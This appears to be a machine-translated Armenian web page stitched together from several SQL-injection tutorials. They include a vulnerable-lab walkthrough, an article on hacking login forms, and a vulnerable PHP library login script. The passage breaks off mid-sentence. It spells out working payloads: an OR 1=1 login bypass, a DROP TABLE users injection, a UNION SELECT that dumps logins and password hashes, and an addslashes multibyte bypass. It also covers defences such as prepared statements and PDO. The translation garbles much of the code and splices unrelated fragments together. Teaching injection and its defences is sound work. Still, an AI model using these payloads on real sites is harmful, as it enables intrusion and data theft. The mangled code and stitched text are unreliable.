Արժե նայել SQL ներարկման օրինակին, ինչպիսին է GET/Search-ը: Այստեղ դուք պետք է ընտրեք այն և սեղմեք «Hack»: Օգտագործողին կներկայացվի որոնման սանդղակ և որոշակի կայքի իմիտացիա՝ ֆիլմերով։ Դուք կարող եք երկար ժամանակ ֆիլմերի միջով անցնել։ Բայց դրանք ընդամենը 10-ն են։Օրինակ՝ կարելի է փորձել մտնել Iron Man։ Ֆիլմը կցուցադրվի, ինչը նշանակում է, որ կայքը աշխատում է, և դրա մեջ կան աղյուսակներ: Այժմ մենք պետք է ստուգենք, թե արդյոք սցենարը զտում է հատուկ նիշերը, մասնավորապես մեջբերումը: Դա անելու համար դուք պետք է ավելացնեք «» հասցեի տողում: Ավելին, դա պետք է արվի ֆիլմի անունից հետո: Կայքը կցուցադրի սխալը Սխալ. Ձեր SQL շարահյուսության մեջ սխալ կա, ստուգեք համապատասխան ձեռնարկը: ձեր MySQL սերվերի տարբերակին՝ 1-ին տողում «%»»-ի մոտ օգտագործելու համար ճիշտ շարահյուսություն, ինչը ցույց է տալիս, որ նիշերը դեռ սխալ են մշակվում: Սա նշանակում է, որ դուք կարող եք փորձել փոխարինել ձեր խնդրանքը: Բայց նախ պետք է հաշվարկել դաշտերի քանակը: Դա անելու համար օգտագործեք order by, որը մուտքագրվում է մեջբերումից հետո՝ http://testsites.com/sqli_1.php?title=Iron+Man» պատվերը 2 --&action=search-ով։

Այս հրամանը պարզապես կցուցադրի տեղեկատվություն ֆիլմի մասին, այսինքն՝ դաշտերի թիվը 2-ից մեծ է: Կրկնակի գծիկը սերվերին ասում է, որ այլ հարցումները պետք է մերժվեն: Այժմ դուք պետք է կրկնեք՝ փոխարինելով ավելի մեծ արժեքներ, մինչև սխալ չցուցադրվի: Արդյունքում ստացվում է, որ 7 դաշտ է լինելու։

Հիմա ժամանակն է տվյալների բազայից ինչ-որ օգտակար բան ստանալ: Դուք պետք է մի փոքր փոփոխեք հարցումը հասցեագոտում՝ բերելով այն այս ձևին. ,գաղտնաբառ,6, 7 օգտվողներից --&action=search: Դրա կատարման արդյունքում կցուցադրվեն գաղտնաբառերի հեշերով տողեր, որոնք հեշտությամբ կարելի է վերածել հասկանալի նիշերի՝ օգտագործելով առցանց ծառայություններից մեկը: Եվ մի փոքր կախարդանքով և ընտրելով մուտքի դաշտի անունը՝ կարող եք մուտք գործել ուրիշի գրառումը, օրինակ՝ կայքի ադմինիստրատորը:

Արտադրանքն ունի բազմաթիվ ներարկումների տեսակներ, որոնց հետ կարելի է զբաղվել: Հարկ է հիշել, որ այս հմտությունները առցանց կամ իրական կայքերում օգտագործելը կարող է քրեորեն պատժելի լինել:

Ներարկումներ և PHP

Որպես կանոն, հենց PHP կոդը է պատասխանատու օգտատերից ստացվող հարցումների անհրաժեշտ մշակման համար։ Հետևաբար, հենց այս մակարդակում է, որ դուք պետք է պաշտպանություն ստեղծեք PHP-ում SQL ներարկումներից:

  • Տվյալները միշտ պետք է մշակվեն տվյալների բազայում պահվելուց առաջ: Դրան կարելի է հասնել կա՛մ գոյություն ունեցող արտահայտությունների օգտագործմամբ, կա՛մ հարցումները ձեռքով կազմակերպելով: Այստեղ նույնպես արժե հաշվի առնել, որ թվային արժեքները փոխարկվում են այն տեսակին, որն անհրաժեշտ է.
  • Խուսափեք հայտում տարբեր հսկիչ կառույցների հայտնվելուց:

Այժմ մի փոքր MySQL-ում հարցումներ կազմելու կանոնների մասին՝ SQL ներարկումներից պաշտպանվելու համար:

Հարցման ցանկացած արտահայտություն գրելիս կարևոր է առանձնացնել տվյալները SQL հիմնաբառերից:

  • SELECT * FROM աղյուսակից WHERE անունը = Zerg.

Այս դիզայնում համակարգը կարող է մտածել, որ Zerg-ը դաշտի անուն է, ուստի այն պետք է փակվի չակերտների մեջ:

  • SELECT * FROM աղյուսակից WHERE name = «Zerg»:

Այնուամենայնիվ, կան իրավիճակներ, երբ արժեքը ինքնին պարունակում է չակերտներ:

  • SELECT * FROM աղյուսակից WHERE name = «Փղոսկրի Ափ»:

Այստեղ cat-d-ի միայն մի մասը կմշակվի, իսկ մնացածը կարող է ընկալվել որպես հրաման, որն, իհարկե, գոյություն չունի։ Հետևաբար, սխալ տեղի կունենա: Սա նշանակում է, որ այս տեսակի տվյալները պետք է ստուգվեն: Դա անելու համար օգտագործեք հետին կտրվածքը՝ \:

  • SELECT * FROM աղյուսակից WHERE name = «Փղոսկրի Ափ»:

Վերը նշված բոլորը վերաբերում են լարերին: Եթե ​​գործողությունը տեղի է ունենում թվով, ապա դրա համար ոչ մի մեջբերում կամ կտրվածք պետք չէ: Այնուամենայնիվ, դրանք պետք է ստիպված լինեն փոխակերպվել անհրաժեշտ տվյալների տեսակին:

Առաջարկ կա, որ դաշտի անվանումը պետք է կցվի հետին մեջբերումով: Այս սիմվոլը գտնվում է ստեղնաշարի ձախ կողմում՝ «~» նշանի հետ միասին։ Սա անհրաժեշտ է, որպեսզի MySQL-ը կարողանա ճշգրիտ տարբերակել դաշտի անվանումն իր հիմնաբառից:

Դինամիկ աշխատանք տվյալների հետ

Շատ հաճախ դինամիկ ձևավորված հարցումներն օգտագործվում են տվյալների բազայից ցանկացած տվյալ ստանալու համար: Օրինակ:

  • SELECT * FROM աղյուսակից WHERE number = «$number»:

Այստեղ $number փոփոխականը փոխանցվում է որպես դաշտի արժեքի սահմանում։ Ի՞նչ կլինի, եթե Փղոսկրի Ափն ընկնի դրա մեջ: Սխալ.

Իհարկե, դուք կարող եք խուսափել այս դժվարությունից՝ միացնելով «կախարդական մեջբերումները» կարգավորումներում: Բայց հիմա տվյալները կզննվեն այնտեղ, որտեղ դա անհրաժեշտ է, և որտեղ դա անհրաժեշտ չէ: Բացի այդ, եթե կոդը գրված է ձեռքով, ապա դուք կարող եք մի փոքր ավելի շատ ժամանակ հատկացնել ինքներդ՝ ստեղծելով հաքերակայուն համակարգ։

Ինքներդ շեղ ավելացնելու համար կարող եք օգտագործել mysql_real_escape_string:

$համար=mysql_real_escape_string($համար);

$ տարի = mysql_real_escape_string ($ տարի);

$query="INSERT INTO table (number,year, class) VALUES ("$number","$year",11)":

Թեև կոդը մեծացել է ծավալով, այն դեռ պոտենցիալ կերպով կաշխատի շատ ավելի ապահով:

Տեղապահներ

Տեղապահները եզակի նշիչներ են, որոնց միջոցով համակարգը գիտի, որ այս տեղում պետք է տեղադրվի հատուկ գործառույթ: Օրինակ:

$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");

$sate->bind_param("s", $number);

$sate->execute();

Կոդի այս բաժինը պատրաստում է հարցման ձևանմուշ, այնուհետև կապում է թվային փոփոխականը և կատարում այն։ Այս մոտեցումը թույլ է տալիս տարանջատել հարցումների մշակումը և դրա իրականացումը: Այսպիսով, դուք կարող եք պաշտպանվել ձեզ SQL հարցումների մեջ վնասակար կոդի ներարկումից:

Ի՞նչ կարող է անել հարձակվողը:

Համակարգի պաշտպանությունը շատ կարևոր գործոն է, որը չի կարելի անտեսել: Իհարկե, պարզ այցեքարտի կայքը ավելի հեշտ կլինի վերականգնել: Իսկ եթե դա մեծ պորտալ, ծառայություն, ֆորում է: Ի՞նչ հետևանքներ կարող են լինել, եթե չմտածեք անվտանգության մասին:

Նախ, հաքերը կարող է խախտել և՛ տվյալների բազայի ամբողջականությունը, և՛ ամբողջությամբ ջնջել այն։ Իսկ եթե կայքի ադմինիստրատորը կամ հոսթերը կրկնօրինակում չի արել, ուրեմն դժվար կլինի։ Բացի այդ, հարձակվողը, որը կոտրել է մեկ կայք, կարող է տեղափոխվել նույն սերվերի վրա տեղակայված մյուսները:

Հաջորդը գալիս է այցելուների անձնական տվյալների գողությունը։ Ինչպես օգտագործել դրանք, սահմանափակվում է միայն հաքերի երևակայությամբ: Բայց ամեն դեպքում, հետեւանքներն այնքան էլ հաճելի չեն լինի։ Հատկապես, եթե այն պարունակում էր ֆինանսական տեղեկատվություն:

Հարձակվողը կարող է նաև արտահոսել տվյալների բազան իրեն և հետո գումար կորզել դրա վերադարձի համար:

Բացասական հետևանքներ կարող է ունենալ նաև օգտատերերի ապատեղեկատվությունն իրենցից չհանդիսացող անձի անունից, քանի որ հնարավոր են խարդախության դեպքեր։

Եզրակացություն

Այս հոդվածի ամբողջ տեղեկատվությունը տրամադրվում է միայն տեղեկատվական նպատակներով: Դուք պետք է օգտագործեք այն միայն ձեր սեփական նախագծերը փորձարկելու համար՝ խոցելիությունները հայտնաբերելու և դրանք վերացնելու ժամանակ:

SQL ներարկում իրականացնելու մեթոդաբանության ավելի խորը ուսումնասիրության համար դուք պետք է սկսեք իրականում ուսումնասիրել SQL լեզվի հնարավորություններն ու առանձնահատկությունները: Ինչպես են կազմվում հարցումները, հիմնաբառեր, տվյալների տեսակներ և այս ամենի կիրառումը:

Դուք նույնպես չեք կարող անել առանց հասկանալու, թե ինչպես են աշխատում PHP-ի գործառույթները և HTML տարրերը: Ներարկումների օգտագործման հիմնական խոցելի կետերն են հասցեագոտին, որոնումը և տարբեր դաշտերը: PHP-ի գործառույթների, դրանց ներդրման և դրանց հնարավորությունների ուսումնասիրությունը կօգնի ձեզ հասկանալ, թե ինչպես կարող եք խուսափել սխալներից:

Բազմաթիվ պատրաստի ծրագրային գործիքների առկայությունը թույլ է տալիս կատարել կայքի խորը վերլուծություն հայտնի խոցելիության համար: Ամենահայտնի արտադրանքներից մեկը կաli linux-ն է: Սա Linux-ի վրա հիմնված օպերացիոն համակարգի պատկեր է, որը պարունակում է մեծ թվով կոմունալ ծառայություններ և ծրագրեր, որոնք կարող են կատարել կայքի համապարփակ վերլուծություն ուժի համար:

Ինչու՞ պետք է իմանալ, թե ինչպես կոտրել կայքը: Ամեն ինչ շատ պարզ է. սա անհրաժեշտ է ձեր նախագծի կամ կայքի հնարավոր խոցելի տարածքների մասին պատկերացում ունենալու համար: Հատկապես, եթե սա առցանց խանութ է առցանց վճարելու ունակությամբ, որտեղ օգտատիրոջ վճարային տվյալները կարող են վտանգվել հարձակվողի կողմից:

Մասնագիտական ​​հետազոտությունների համար տեղեկատվական անվտանգության ծառայությունները կկարողանան ստուգել կայքը՝ ըստ տարբեր չափանիշների և խորության։ Սկսած պարզ HTML ներարկումից մինչև սոցիալական ճարտարագիտություն և ֆիշինգ:

Մաղթում ենք հաջողություն այն ավարտին հասցնելու գործում։ Ձեր անցման արդյունքները կհրապարակվեն ավելի ուշ (հետևեք նորություններին սոցիալական ցանցերում), իսկ բոլոր անցածներին նույնպես կուղարկվի. հրավիրելկայքում գրանցվելու համար։

Հավանել, կիսվել ընկերների և գործընկերների հետ, վերահրապարակել սոցիալական ցանցերում։

Բոլոր ծրագրավորողները կարդացել կամ գոնե լսել են վեբկայքի անվտանգության կոտրման մեթոդների մասին: Կամ նույնիսկ հանդիպել է այս խնդրին: Մյուս կողմից, կայքը կոտրել ցանկացողների երևակայությունն անվերջ է, ուստի բոլոր խոչընդոտները պետք է լավ պաշտպանված լինեն: Այդ իսկ պատճառով ես կցանկանայի սկսել մի շարք կարճ հոդվածներ, որոնք կներկայացնեն կայքի կոտրման հիմնական մեթոդներն ու մեթոդները:

Առաջին հոդվածում ես կցանկանայի նկարագրել և բացատրել կայքի ամենախոցելի մասերից մեկը՝ ձևաթղթերը կոտրելու մի քանի տարածված մեթոդներ։ Ես մանրամասն կներկայացնեմ, թե ինչպես օգտագործել այս տեխնիկան և ինչպես կանխել հարձակումները, ինչպես նաև ծածկել անվտանգության փորձարկումները:

SQL ներարկում

SQl ներարկումը տեխնիկա է, որտեղ հարձակվողը մուտքագրում է SQL հրամանները վեբ էջի մուտքագրման դաշտում: Այս մուտքագրումը կարող է լինել ցանկացած բան՝ տեքստային դաշտ ձևով, _GET և _POST պարամետրեր, թխուկներ և այլն: Այս մեթոդը շատ արդյունավետ էր մինչև PHP աշխարհում շրջանակների հայտնվելը: Բայց այս հաքը դեռ կարող է վտանգավոր լինել, եթե դուք չեք օգտագործում ORM կամ տվյալների օբյեկտի որևէ այլ ընդլայնում: Ինչո՞ւ։ Պարամետրերի փոխանցման եղանակի շնորհիվ SQL հարցումը:

«Կույր» ներարկումներ

Սկսենք SQL հայտարարության դասական օրինակից, որը օգտվողին վերադարձնում է իր մուտքի և գաղտնաբառի հեշով (մուտքի էջ)

Օրինակ 1

mysql_query ("SELECT id, մուտք գործել օգտվողներից WHERE login = ? և գաղտնաբառը = hash(?)");

Ես հարցական նշաններ եմ դնում արտահայտության մեջ այս լուծման տարբեր տատանումների պատճառով: Առաջին տարբերակը, իմ կարծիքով, ամենախոցելին է.

Օրինակ 1ա

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

Այս դեպքում կոդը չի ստուգում անվավեր տվյալների մուտքագրումը: Արժեքները փոխանցվում են անմիջապես մուտքագրման ձևից SQL հարցումին: Լավագույն դեպքում օգտատերը այստեղ մուտքագրելու է իր օգտանունը և գաղտնաբառը։ Ո՞րն է ամենավատ սցենարը: Փորձենք կոտրել այս ձևը: Դա կարելի է անել «պատրաստված» տվյալներ փոխանցելով։ Փորձենք մուտք գործել տվյալների բազայից որպես առաջին օգտվող, և շատ դեպքերում դա ադմինիստրատորի հաշիվն է: Դա անելու համար մուտքագրում մուտքագրելու փոխարեն մենք կանցկացնենք հատուկ տող.

ԿԱՄ 1=1; --

Առաջին մեջբերումը կարող է լինել նաև մեկ մեջբերում, ուստի կոտրելու մեկ փորձը կարող է բավարար չլինել: Վերջում կա ստորակետ և երկու գծիկ, որպեսզի հետո ամեն ինչ վերածվի մեկնաբանության։ Արդյունքում կկատարվի հետևյալ SQL հարցումը.

SELECT ID, մուտք գործել օգտվողներից WHERE login = “;” ԿԱՄ 1=1 LIMIT 0.1; - և գաղտնաբառ = հաշ («;Որոշ գաղտնաբառ»)

Այն կվերադարձնի առաջին օգտագործողին տվյալների բազայից և, հնարավոր է, մուտք գործի հավելված որպես այդ օգտվող: Լավ քայլ կլիներ ավելացնել LIMIT՝ որպես յուրաքանչյուր առանձին օգտատեր մուտք գործելու համար: Սա միակ բանն է, որ անհրաժեշտ է յուրաքանչյուր արժեքի միջով անցնելու համար:

Ավելի լուրջ ուղիներ

Նախորդ օրինակում ամեն ինչ այնքան էլ սարսափելի չէ։ Ադմինիստրատորի կառավարման վահանակի տարբերակները միշտ սահմանափակ են, և շատ աշխատանք կպահանջվի իրականում կոտրել կայքը: Բայց SQL ներարկման միջոցով հարձակումը կարող է շատ ավելի մեծ վնաս հասցնել համակարգին: Մտածեք, թե քանի հավելված է ստեղծվել հիմնական աղյուսակի «օգտատերերի» հետ և ինչ տեղի կունենա, եթե հարձակվողը մուտքագրի այսպիսի ծածկագիրը անպաշտպան ձևի մեջ.

Իմ սիրելի մուտքը"; DROP TABLE օգտվողներ; --

«Օգտագործողների» աղյուսակը կջնջվի: Սա տվյալների բազայի կրկնօրինակումներն ավելի հաճախակի դարձնելու պատճառներից մեկն է:

_GET պարամետրեր

Ձևաթղթի միջոցով լրացված բոլոր պարամետրերը փոխանցվում են սերվերին՝ օգտագործելով երկու մեթոդներից մեկը՝ GET կամ POST: GET-ի միջոցով փոխանցվող ամենատարածված պարամետրը id-ն է: Սա հարձակումների համար ամենախոցելի վայրերից մեկն է, և կարևոր չէ, թե ինչ տեսակի URL եք օգտագործում. « http://example.com/ օգտվողներ/?id=1«, կամ « http://example.com/ օգտվողներ/1`, կամ` http://....../.../ գրառում/35 `.

Ի՞նչ կլինի, եթե URL-ում տեղադրենք հետևյալ կոդը:

Http://example.com/users/?id=1 ԵՎ 1=0 UNION SELECT 1,concat(մուտք,գաղտնաբառ), 3,4,5,6 Օգտատերերից WHERE id =1; --

Հավանաբար, նման խնդրանքը կվերադարձնի օգտատիրոջ մուտքը և... նրա գաղտնաբառը հեշը։ «AND 1=0» հարցման առաջին մասը վերածում է այն, ինչ նախորդում է կեղծի, ուստի ոչ մի գրառում չի ստացվի: Իսկ հարցման երկրորդ մասը կվերադարձնի տվյալները պատրաստված տվյալների տեսքով։ Եվ քանի որ առաջին պարամետրը id-ն է, հաջորդը կլինի օգտատիրոջ մուտքը և գաղտնաբառի հեշը և որոշ այլ պարամետրեր: Կան բազմաթիվ ծրագրեր, որոնք կոպիտ ուժ են կիրառում գաղտնաբառի վերծանման համար, ինչպիսին օրինակն էր: Եվ քանի որ օգտատերը կարող է օգտագործել նույն գաղտնաբառը տարբեր ծառայությունների համար, հնարավոր է դրանց հասանելիություն ստանալ։

Եվ ահա թե ինչ հետաքրքիր է. այս տեսակի հարձակումներից պաշտպանվելն ամբողջովին անհնար է, օգտագործելով այնպիսի մեթոդներ, ինչպիսիք են «mysql_real_escape_string», «addslashes» և այլն: դ. Հիմնականում նման հարձակումից խուսափելու միջոց չկա, այնպես որ, եթե պարամետրերը փոխանցվեն այսպես.

«Ընտրեք id, մուտք, էլ. փոստ, param1 FROM users WHERE id =»: addslashes ($_GET["id"]);"

խնդիրները չեն վերանա.

Փախչող նիշերը տողում

Երբ ես նոր էի ծրագրավորում, ես դժվարությամբ էի աշխատում կոդավորման հետ: Ես չհասկացա, թե ինչ տարբերություն կա նրանց միջև, ինչու օգտագործել UTF-8, երբ ձեզ անհրաժեշտ է UTF-16, ինչու տվյալների բազան միշտ դնում է կոդավորումը latin1: Երբ ես վերջապես սկսեցի հասկանալ այս ամենը, ես հայտնաբերեցի, որ ավելի քիչ խնդիրներ կլինեն, եթե ես ամեն ինչ պահեմ մեկ կոդավորման ստանդարտում: Այս ամենը դասավորելիս նկատեցի նաև անվտանգության խնդիրներ, որոնք առաջանում են մի կոդավորումից մյուսը փոխարկելու ժամանակ։

Նախորդ օրինակների մեծ մասում նկարագրված խնդիրներից կարելի է խուսափել՝ օգտագործելով հարցումներում միայնակ չակերտներ: Եթե ​​դուք օգտագործում եք addslashes() , ապա SQL ներարկման հարձակումները, որոնք հիմնված են մեկ չակերտների վրա, որոնք փախչում են հետին կտրվածքով, ձախողվելու են: Բայց նման հարձակումը կարող է աշխատել, եթե դուք պարզապես փոխարինեք նիշը 0xbf27 կոդով, addslashes()-ը այն փոխակերպում է 0xbf5c27 կոդով նիշի, և սա լիովին վավեր մեկ մեջբերումով նիշ է: Այլ կերպ ասած, «뼧»-ը կանցնի addslashes() միջով, այնուհետև MySQL քարտեզագրումն այն կվերածի երկու նիշերի՝ 0xbf (¿) և 0x27 (‘):

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Այս օրինակը կարելի է կոտրել՝ անցնելով 뼧 կամ 1=1; -- ձևի մուտքի դաշտում: SQL շարժիչը կստեղծի վերջնական հարցումը հետևյալ կերպ.

SELECT * FROM users WHERE login = "¿" ԿԱՄ 1=1; --

Եվ այն կվերադարձնի առաջին օգտագործողին տվյալների բազայից:

Պաշտպանություն

Ինչպե՞ս պաշտպանել հավելվածը: Կան բազմաթիվ մեթոդներ, որոնց կիրառումը հավելվածը լիովին անխոցելի չի դարձնի, բայց գոնե կբարձրացնի նրա անվտանգությունը։

Օգտագործելով mysql_real_escape_string

Addslashes() ֆունկցիան անվստահելի է, քանի որ այն թույլ չի տալիս բազմաթիվ հաքերային դեպքեր: mysql_real_escape_string-ը նման խնդիրներ չունի

Օգտագործելով MySQLi

Այս MySQL ընդլայնումը կարող է աշխատել հարակից պարամետրերով.

$stmt = $db->prepare("update uets set parameter = ? where id =?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

Օգտագործելով PDO

Պարամետրերը փոխարինելու երկար ճանապարհ.

$dbh = նոր PDO ("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // տեղադրեք մեկ տող $name = "մեկ"; $արժեք = 1; $stmt->execute();

Կարճ ճանապարհ.

$dbh = նոր PDO ("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->կատարել(զանգված ("new_name" => $name, "id" => $id));

Օգտագործելով ORM

Օգտագործեք ORM և PDO և կապեք (օգտագործեք կապել) պարամետրերը: Խուսափեք SQL-ից ձեր կոդում, եթե ձեր կոդի մեջ տեսնում եք SQL, ապա դրա հետ ինչ-որ բան այն չէ:

ORM-ը հոգ կտանի կոդի և պարամետրերի վավերացման խցանումների անվտանգության մասին:

եզրակացություններ

Այս շարքի նպատակը ոչ թե կայքերը կոտրելու ամբողջական ուղեցույց տրամադրելն է, այլ հավելվածների անվտանգությունն ապահովելն ու ցանկացած աղբյուրից հարձակումների կանխումը։ Ես փորձեցի գրել այս հոդվածը ոչ միայն ծրագրավորողների համար. նրանք պետք է տեղյակ լինեն կոդի ցանկացած սպառնալիքի մասին և իմանան, թե ինչպես կանխել դրանք, այլ նաև որակյալ ինժեներների համար, քանի որ նրանց գործն է հետևել և զեկուցել նման խնդիրների մասին:

SQL ներարկումների էությունը

Դուք հավանաբար արդեն լսել եք անեկդոտը ինտերնետից. Ինչու՞ է նույնը բոլոր նկարչության դասերին. Օրինակ՝ բու նկարելու դաս: Նախ, մենք կես ժամ մանրամասնորեն նկարում ենք բվի աչքը: Եվ հետո - մեկ անգամ - հինգ րոպեի ընթացքում - մենք նկարում ենք բուի մնացած մասը».

Այս մասին նույնիսկ նկար կա.

SQL ներարկումների վերաբերյալ շատ նյութեր կան՝ հոդվածներ, գրքեր, տեսադասընթացներ (վճարովի և անվճար): Այնուամենայնիվ, նրանցից ոչ շատերը ըմբռնում են տալիս այս հարցում։ Հատկապես, եթե դուք սկսնակ եք: Ես լավ եմ հիշում իմ զգացմունքները՝ ահա շրջանը, ահա մնացած բուն...

Այս գրառման նպատակն է աչքը քաշել բվի վրա՝ նորմալ, պարզ բացատրություն տալու համար, ինչ են SQL ներարկումները, որն է դրանց էությունը, որքանով են դրանք վտանգավոր և ինչու.

Փորձերի համար մենք կունենանք շատ պարզ սցենար, որը խոցելի է SQL ներարկման համար.

Bobruisk տարածաշրջանային գրադարան մուտք գործելու համար մուտքագրեք ձեր հավատարմագրերը.

Մուտքագրեք ձեր անունը

Մուտքագրեք ձեր գաղտնաբառը


հարցում ("SET NAMES UTF8"); $mysqli->հարցում ("ՍԱՀՄԱՆԵԼ ՆՇԱՆԱՎՈՐՆԵՐԻ ՍԵԹ UTF8"); $mysqli-> հարցում ("SET character_set_client = UTF8"); $mysqli-> հարցում ("SET character_set_connection = UTF8"); $mysqli-> հարցում ("SET character_set_results = UTF8"); ) $name = filter_input (INPUT_GET, «անուն»); $password = filter_input (INPUT_GET, «գաղտնաբառ»); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" AND password = $password")) ($obj = $result->fetch_object()) (echo "

Քո անունը:$obj->name

Ձեր կարգավիճակը.$obj-> կարգավիճակ

Ձեզ համար մատչելի գրքեր.$obj->գրքեր


"; ) ) else ( printf("Սխալ. %sn", $mysqli->սխալ); ) $mysqli->close(); ?>

Շատ ավելին կհասկանաս, եթե ինձ հետ ամեն ինչ անես։ Այսպիսով, ահա այն: Այն պարունակում է երկու ֆայլ. index.phpԵվ db_library.sql. Տեղադրեք index.php ֆայլը սերվերի ցանկացած վայրում. սա մեր խոցելի սցենարն է: Իսկ db_library.sql ֆայլը պետք է ներմուծվի, օրինակ՝ օգտագործելով phpMyAdmin:

index.php ֆայլում տվյալների բազայի օգտվողի անունը դրված է արմատական, իսկ գաղտնաբառը դատարկ է: Դուք կարող եք մուտքագրել ձեր տվյալները՝ խմբագրելով տողը.

$mysqli = նոր mysqli ("localhost", "root", "", "db_library");

Ըստ լեգենդի, սա Bobruisk տարածաշրջանային գրադարանի առցանց տարբերակի մուտքի ձև է: Մեզ արդեն տրվել են հավատարմագրեր. օգտվողի անուն - Դեմո, գաղտնաբառ - 111.

Եկեք մուտքագրենք դրանք և տեսնենք.

Մեր հավատարմագրերն ընդունվել են, մեր անունը, կարգավիճակը և մեզ հասանելի գրքերը ցուցադրվում են էկրաններին: Կարող եք փորձել ցանկացած այլ տվյալների հետ միասին (եթե փոխեք ձեր անունը կամ գաղտնաբառը), մենք չենք կարողանա մուտք գործել և դիտել ընթերցանության համար մատչելի գրքերը: Մենք նաև հնարավորություն չունենք իմանալու, թե որ գրքերն են հասանելի ուրիշներին, քանի որ չգիտենք դրանց օգտանունն ու գաղտնաբառը:

Եկեք նայենք աղբյուրի կոդը՝ հասկանալու համար, թե ինչպես է տեղի ունեցել տվյալների բազայի հարցումը.
Խոսք ԸՆՏՐԵԼ SQL հարցումը ցույց է տալիս, թե ինչ տվյալներ պետք է առբերվեն: Օրինակ, դուք կարող եք նշել SELECT անունը, կամ SELECT անունը, գաղտնաբառը: Այնուհետև առաջին դեպքում աղյուսակից կստացվեր միայն անունը, իսկ երկրորդում՝ միայն անունն ու գաղտնաբառը։ Աստղանիշն ասում է, որ դուք պետք է ստանաք բոլոր արժեքները: Նրանք. SELECT * - սա նշանակում է ստանալ բոլոր արժեքները:

ԻՑասում է, թե որտեղից պետք է դրանք ձեռք բերել: FROM-ին հաջորդում է աղյուսակի անվանումը, այսինքն՝ FROM «անդամներ» մուտքագրում գրված է «անդամներ» աղյուսակից ստանալ:

Հետագա ՈՐՏԵՂԵթե ​​դուք ուսումնասիրել եք ծրագրավորման որևէ լեզու, ապա այս բառն ամենից շատ նման է «եթե»-ին։ Եվ հետո կան պայմաններ, այս պայմանները կարող են լինել ճշմարիտ (1) կամ կեղծ (0): Մեր դեպքում

(անուն = «$name») ԵՎ (գաղտնաբառ = «$գաղտնաբառ»)

նշանակում է, որ պայմանը ճիշտ կլինի, եթե փոխանցված $name փոփոխականը հավասար է աղյուսակի անվան դաշտի արժեքին, իսկ «$password» փոխանցված փոփոխականը հավասար է աղյուսակի գաղտնաբառի դաշտի արժեքին։ Եթե ​​առնվազն մեկ պայման չի բավարարվում (սխալ օգտվողի անուն կամ գաղտնաբառ), ապա ոչինչ չի վերցվի աղյուսակից, այսինքն՝ SELECT * FROM «անդամներից» արտահայտությունը WHERE name = '$name' AND password ='$password' նշանակում է. «անդամներ» աղյուսակը, վերցրեք բոլոր դաշտերի արժեքները, եթե պայմանը բավարարված է նրանց համար. անցած օգտվողի անունը և գաղտնաբառը համապատասխանում են աղյուսակում հայտնաբերվածներին:

Պարզ է. Եկեք հիմա, օրինակ, տեղադրենք մեկ մեջբերում օգտանունով.

Հասցեի բար.

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo'&password=111

Տվյալներ չեն ստացվել, փոխարենը մենք տեսնում ենք սխալ.
Երբ մենք մուտքագրեցինք ճիշտ տվյալները, մեր հարցումն այսպիսի տեսք ուներ.
Մեջբերում ավելացնելով՝ մեր հարցումը դառնում է.
Ես լրացուցիչ բացատներ եմ դնում պարզության համար, այսինքն՝ մենք ստանում ենք հարցումը
Ի դեպ, հարցումը շարահյուսության մեջ ճիշտ է։ Եվ դրանից անմիջապես հետո, առանց բաժանարարների, խնդրանքը շարունակվում է.

«ԵՎ գաղտնաբառ = 111»

Սա է ամեն ինչ կոտրում, քանի որ բացման և փակման գնանշումների քանակը հավասար չէ։ Դուք կարող եք, օրինակ, տեղադրել մեկ այլ մեջբերում.
Հասցեի բար.

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Սխալն անհետացավ, բայց դա որևէ նշանակություն չտվեց հարցումին: Խնդրանքի անիմաստ պոչը մեզ անհանգստացնում է. Ինչպե՞ս կարող ենք ազատվել դրանից:

Կա պատասխան՝ սրանք մեկնաբանություններ են։

MySQL-ում մեկնաբանությունները կարող են սահմանվել երեք եղանակով.

  1. # (հեշ - աշխատում է մինչև տողի ավարտը)
  2. - (երկու գծիկ - աշխատեք մինչև տողի վերջը, երկու գծիկից հետո ձեզ անհրաժեշտ է բացատ)
  3. /* սա մեկնաբանություն է */ չորս նիշից բաղկացած խումբ - ներսում ամեն ինչ մեկնաբանություն է, ամեն ինչ այս խմբից առաջ կամ հետո մեկնաբանություն չի համարվում:
Եկեք մեր հարցման մեջ մեկնաբանություն դնենք մեկ մեջբերումով, այս մեջբերումից հետո դրեցինք մեկնաբանության նշան՝ պոչը հեռացնելու համար, և + նշան, որը նշանակում է բացատ, որպեսզի հարցումը ստացվի այսպես.
Հասցեի բար.

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

Սխալը ոչ միայն անհետացավ, այլ ճիշտ տվյալները ցուցադրվեցին Դեմո օգտատիրոջ համար: Այս պահից մեր խնդրանքը ստացել է ձևը
ի վերջո, ձիու պոչը -+ «ԵՎ գաղտնաբառ =» 111վերածվել է մեկնաբանության և այլևս չի ազդում խնդրանքի վրա:

Եվս մեկ նայեք նոր խնդրանքին.
Եվ դա այլևս չի ստուգում գաղտնաբառը: Նրանք. Իմանալով օրինական օգտատերերի անունները, բայց չիմանալով նրանց գաղտնաբառերը, մենք կարող ենք դիտել նրանց անձնական տվյալները: Նրանք. Մենք արդեն սկսել ենք օգտագործել SQL ներարկումը։

Ցավոք, ես չգիտեմ որևէ օրինական անուն և պետք է այլ բան հորինեմ:

Եկեք մանրամասնորեն նայենք խնդրանքի այս հատվածին.
Հիշո՞ւմ եք AND-ը, որն օգտագործվում է առաջին հարցումում: Այն նշանակում է տրամաբանական ԵՎ գործողություն: Հիշեցնեմ, որ «ԵՎ» տրամաբանական գործողությունը արտադրում է «ճշմարիտ» (1) միայն այն դեպքում, եթե երկու արտահայտություններն էլ ճշմարիտ են: Բայց «OR» տրամաբանական օպերատորը արտադրում է «true» (1), նույնիսկ եթե արտահայտություններից գոնե մեկը ճիշտ է: Նրանք. արտահայտություն
